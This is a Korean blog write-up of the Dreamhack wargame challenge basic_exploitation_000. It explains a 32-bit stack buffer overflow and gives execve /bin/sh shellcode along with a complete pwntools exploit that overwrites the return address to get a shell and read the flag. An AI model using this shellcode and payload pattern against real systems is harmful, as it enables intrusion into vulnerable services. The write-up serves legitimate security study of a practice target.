System Hacking/Dreamhack 풀이

basic_exploitation_000(Stack Buffer Overflow)

박연준 2023. 7. 2. 00:23

문제 정보

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.

프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.

“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.

플래그의 형식은 DH{…} 입니다.

Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

풀이

먼저 Environment 부분에서 Arch 부분을 확인했을 때 i386-32-little 라고 되어 있고 이것은 x86의 32비트 아키텍처이고 리틀 엔디안을 사용하는 환경이라는 것을 확인할 수 있다.

 

다음으로 파일을 다운로드 받고 문제를 살펴봐야 한다.

 

 

코드를 살펴보면 alarm_handler()라는 함수를 정의하고 있고 이 함수는 프로그램을 종료하는 함수인 것 같다. 또한 initialize() 함수를 이용하여 stdin과 stdout를 비활성화 했다는 것을 알 수 있다. 또한 main 함수에서는 buf의 크기가 0x80이고 initialize() 함수가 실행되면서 30초 후에 프로그램이 종료된다. 테스트 해보았다.

 

아무 입력도 하지 않으면 30초 후 자동 종료된다. 다음으로 scanf함수에 취약점이 존재하는 거 같은데 버퍼 크기의 0x80 크기를 10진수로 바꾸면 128이다. 따라서 141보다 128이 작기 때문에 버퍼 오버플로우 취약점이 존재하는 것을 확인할 수 있다.

 

A를 많이 입력해보면 다음과 같이 세그멘테이션 오류가 뜨면서 core 파일이 생긴 것을 확인했다.

 

gdb -c core 명령으로 확인해본 결과 R이 아닌 E로 32 아키텍처인 것을 확인했고 A가 5개밖에 들어가지 않은 것을 확인할 수 있다.

 

 

여기서 알 수 있듯이 스택 프레임을 0x80 더 아래에 생성하고 반환 주소는 32비트 아키텍처이기 때문에 4비트 더 아래에 저장된다. 따라서 반환 주소는 0x84 만큼 더 아래에 있는 것이다.

 

반환 주소를 알았으니까 쉘이 있어야 하는데 이 문제에서는 쉘 코드를 문제에 직접 써주지 않았다. 따라서 scanf 함수의 입력 부분에 쉘코드를 써주어야 하는데 구글에 검색해보면 32비트 아키텍처 쉘 코드에 scanf 우회 쉘코드인 26바이트 쉘코드가 있다. 이것을 쓸 것이다.

"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80"

쉘코드를 얻었으니 쉘코드가 26바이트이기 때문에 132-26 = 106 인 나머지 바이트값들을 쓰레기 값으로 넣어주어야 buf에 있는 주소가 반환된다.

 

 

이제 pwntools를 이용해 익스플로잇 코드를 작성해야 한다. 먼저 코드는 다음과 같이 작성했다.

from pwn import *

p = remote("host3.dreamhack.games", 19613)

p.recvuntil('buf = (')

buf = int(p.recv(10), 16)

payload = b"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80"

payload += b'\\x90'*106

payload += p32(buf)

p.send(payload)

p.interactive()

먼저 pwntools를 import한 후 드림핵 접속 서버를 remote 해준다. 그리고 실행하면 나오는 buf의 메모리 주소를 바이트 형식으로 변환하기 위해 recvuntil을 이용해 buf = ( 을 빼고 다음부터 받아온다. 그리고 필요한 buf 주소 10 자리를 16진수로 받아와 buf 변수에 담아주었다. 후에 쉘코드와 쓰레기값을 집어넣어준 후 반환 주소를 설정하기 위해 32비트 리틀 엔디언 방식으로 패킹해준 후에 payload에 붙여넣어주고 payload를 보낸 후 쉘을 실행하기 위해 interactive() 함수를 호출했다.

 

이 후 익스플로잇을 수행해 보면 ls 로 파일 목록을 출력한 후 cat 명령을 이용해 flag를 얻어냈다. 근데 몇 초 뒤에 바로 오류가 나오는데 어쨌든 flag 값이 나오긴했다.